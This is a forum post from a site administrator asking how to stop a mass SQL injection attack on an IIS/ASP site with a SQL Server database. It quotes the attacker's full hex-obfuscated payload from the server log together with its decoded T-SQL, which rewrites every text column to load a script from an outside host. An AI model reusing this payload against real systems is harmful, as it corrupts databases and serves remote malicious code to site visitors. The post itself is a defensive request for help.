Hi,
One of the sites we host in IIS has a SQL Server database. I have been getting attacked by a group who inserts scripts into the character fields. I wrote a routine to strip them out, but wasn't able to find how they were doing this until now. Here's a sample of the log file for how they are doing it. The site name was intentionally blocked.
2008-06-21 16:26:01 189.5.213.241 - W3SVC14 IIS 10.0.6.1 80 GET /ViewPage.asp did=65;DECLARE%20@S%20VARC
HAR(4000);
SET%20@S=C
AST(0x4445
434C415245
2040542056
4152434841
5228323535
292C404320
5641524348
4152283235
3529204445
434C415245
205461626C
655F437572
736F722043
5552534F52
20464F5220
53454C4543
5420612E6E
616D652C62
2E6E616D65
2046524F4D
207379736F
626A656374
7320612C73
7973636F6C
756D6E7320
6220574845
524520612E
69643D622E
696420414E
4420612E78
747970653D
2775272041
4E44202862
2E78747970
653D393920
4F5220622E
7874797065
3D3335204F
5220622E78
747970653D
323331204F
5220622E78
747970653D
3136372920
4F50454E20
5461626C65
5F43757273
6F72204645
544348204E
4558542046
524F4D2054
61626C655F
437572736F
7220494E54
4F2040542C
4043205748
494C452840
4046455443
485F535441
5455533D30
2920424547
494E204558
4543282755
5044415445
205B272B40
542B275D20
534554205B
272B40432B
275D3D5254
52494D2843
4F4E564552
5428564152
4348415228
3430303029
2C5B272B40
432B275D29
292B27273C
7363726970
7420737263
3D68747470
3A2F2F7777
772E626E72
6164772E63
6F6D2F622E
6A733E3C2F
7363726970
743E272727
2920464554
4348204E45
5854204652
4F4D205461
626C655F43
7572736F72
20494E544F
2040542C40
4320454E44
20434C4F53
4520546162
6C655F4375
72736F7220
4445414C4C
4F43415445
205461626C
655F437572
736F7220%2
0AS%20VARC
HAR(4000))
;EXEC(@S);
-- 200 0 0 1421 609 HTTP/1.1
www.abcdef.com Mozilla/4.0+(compatible;+M
SIE+7.0;+W
indows+NT+
5.1;+.NET+
CLR+2.0.50
727) - -
If you take the hex code they are passing along and translate it, you get:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sys
objects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.x
type=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UP
DATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VAR
CHAR(4000)
,['+@C+'])
)+''<scrip
t src=
http://www.bnradw.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
I have to give them credit, this was rather clever. This particular ASP page doesn't have any forms on it. It just generates pages from the database.
Any suggestions on how to shut these folks down? I blocked the IP addresses at the router to buy time, but I'm sure they will find other ways to get here.
Environment: Windows 2000 AS, IIS 5.0, SQL Server 2000.
Thanks much!
--Ben
Start Free Trial